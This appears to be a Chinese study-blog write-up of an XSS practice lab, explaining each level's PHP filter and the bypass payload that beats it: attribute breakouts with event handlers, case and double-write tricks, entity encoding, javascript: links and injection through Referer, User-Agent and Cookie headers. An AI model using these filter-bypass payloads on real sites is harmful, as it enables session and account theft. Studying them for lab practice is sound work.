每日学习 每日持续更新ing~
xss(Cross Site Script),跨站脚本攻击
网页内嵌入HTML,CSS,JS代码
此漏洞也是网站存在相当多的漏洞,仅次于SQL注入,攻击者可以使用XSS来绕过访问控制,如同源策略。利用XSS可以窃取账号,网页挂马,发动拒绝服务攻击,发送垃圾邮件等等。
xss产生原因:
xss形成的原因与SQL注入类似,也是由于程序员在开发过程中没有对用户提交的恶意数据做过过滤,转义而直接输出到页面,导致用户可以利用此漏洞去任意构造js,html代码插入到网页源代码中并执行。
和SQL注入不同的是xss不一定要和数据库交互。
主要:闭合语句
1.无任何waf 直接插入
2.对过滤了<>
可以尝试其他的语句 如 onlick=alert(1)
3.大小写绕过 双写绕过
漏洞描述:get型注,在url中的name字段中输入,输入的内容会在页面回显。内容是直接显示在前端html标签之间,采用标签注入。
利用方法: ?name=
漏洞描述:输入的数据,查看网页源码,内容被嵌套在表单中的value属性内,所以需要先闭合input标签,然后在注入代码,闭合标签。
playload: 123">//
漏洞描述:后端利用htmlspecialchars()函数会将特殊字符进行转义,这里无法采用标签,因为标签都是带有”<"的。但该函数不会转义单引号,可以采用事件闭合标签
漏洞描述:输入的数据,查看网页源码,内容被嵌套在表单中的value属性内。这里只是过滤的左右尖括号,无法采用标签,闭合语句使用事件,双引号闭合
payload:" onclick="alert(1)
漏洞描述:试探防御机制,限制了script
和on
字符---->替换成scr_pt
和o_n
,使用a标签的js伪协议实现href
属性支持javascript:
伪协议构造poc 产生一个链接
漏洞描述:限制了一系列的字符 但进行判断的是整个字符串,进行大小写绕过。
源码防御机制:
$str = $_GET["keyword"]; $str2=str_replace("
level7
漏洞描述:限制了一系列的字符 大小写无法绕过,但因为只是替换,可以双写绕过。
$str =strtolower( $_GET["keyword"]); $str2=str_replace("script","",$str); $str3=str_replace("on","",$str2); $str4=str_replace("src","",$str3); $str5=str_replace("data","",$str4); $str6=str_replace("href","",$str5);
payload:
">
alert(1)
level8
漏洞描述:限制了一系列的字符 大小写、双写,都无法绕过,进行Unicode编码(html实体编码)后可以绕过。
源码防御机制:
$str = strtolower($_GET["keyword"]); $str2=str_replace("script","scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); $str7=str_replace('"','"',$str6);
Payload:
playload:javascript:alert(1) 解码结果是:javascript:alert(1)
level9
漏洞描述:在level8的基础上,加入地址的检查,检查输入的数据中是否存在
http://
字段,在最后面可以使用注释符将地址检测注释掉。源码防御机制:
false===strpos($str7,'http://')
Payload:
javascript:alert(1)//http://
level10
漏洞描述:页面没有提供输输入,需要在url地址栏中输入,该页面存在三个input表单,但其都是隐藏的,需要通过测试找到可以回显的表单。
t_sort
变量返回在了html的value中,但过滤了左右尖括号,无法闭合标签 并且表单是隐藏的,无法使用事件处理,通过其它方法触发(1)采用html的accesskey属性( 通过键盘快捷方式触发)
t_sort=2" accesskey="x" οnclick="alert(1)"
不同的浏览器实现的方式不同
火狐 => alt+shift+快捷键
谷歌 => alt+x(2)采用type属性:
t_sort=2" οnclick="alert(1)" type="text"
源码防御机制:
$str = $_GET["keyword"]; $str11 = $_GET["t_sort"]; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22);
level11
漏洞描述:通过http头获取
referer
字段的值作为t_ref
的value,利用burp抓包,http的头部加入refer字段。refer: t_sort=2" onclick="alert(1)" type="text"
源码防御机制:
$str = $_GET["keyword"]; $str00 = $_GET["t_sort"]; $str11=$_SERVER['HTTP_REFERER']; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22);
level12
漏洞描述:通过http头获取
user-agent
字段的值作为t_ua
的value,利用burp抓包,修改http的头部的user-agent字段。user-agent: t_sort=2" onclick="alert(1)" type="text"
源码防御机制:
$str11=$_SERVER['HTTP_USER_AGENT']; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22);
level13
漏洞描述:通过http头获取
cookie
字段的值作为t_cook
的value,利用burp抓包,修改http的头部cookie字段。cookie: user=2" onclick="alert(1)" type="text"
源码防御机制:
$str = $_GET["keyword"]; $str00 = $_GET["t_sort"]; $str11=$_COOKIE["user"]; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22);
level14
漏洞描述:修改iframe调用的文件来实现xss注入(但因为iframe调用的文件地址失效,无法进行测试)
level15
漏洞描述:文件包含,ng-include 指令可以用于包含外部的 HTML 文件。通过包含本地目录的其他存在xss的文件造成xss攻击,例如 包含leve1的文件
Payload:
?src='level1.php?name=
'
源码防御机制:
ini_set("display_errors", 0); $str = $_GET["src"]; echo '.htmlspecialchars($str).'">'; ?>
PS:原JS调用的文件因为墙不能访问,换一下链接即可:https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js
level16
漏洞描述:获取get参数并输出,限制大小写和双写绕过,/ 被替换,无法使用标签闭合,空格也被替换,但空格可以利用其它的url编码绕过,构造payload:
源码防御机制:
$str = strtolower($_GET["keyword"]); $str2=str_replace("script"," ",$str); $str3=str_replace(" "," ",$str2); $str4=str_replace("/"," ",$str3); $str5=str_replace(" "," ",$str4);
level17
漏洞描述:flash xss注入,
元素将外部内容嵌入文档中的指定位置。此内容由外部应用程序或其他交互式内容源(如浏览器插件)提供。支持src属性和事件属性。
Payload:
arg01=a&arg02= onmouseover=alert(1)
PS:火狐不支持SWF,ie允许
参考资料:flash xss注入
level18
漏洞描述:等同于17,arg01和arg02存在注入点,但web服务器对
"
进行了过滤
level19-20
漏洞描述:flash 反编译,输入的onmouseover事件会被当作普通文本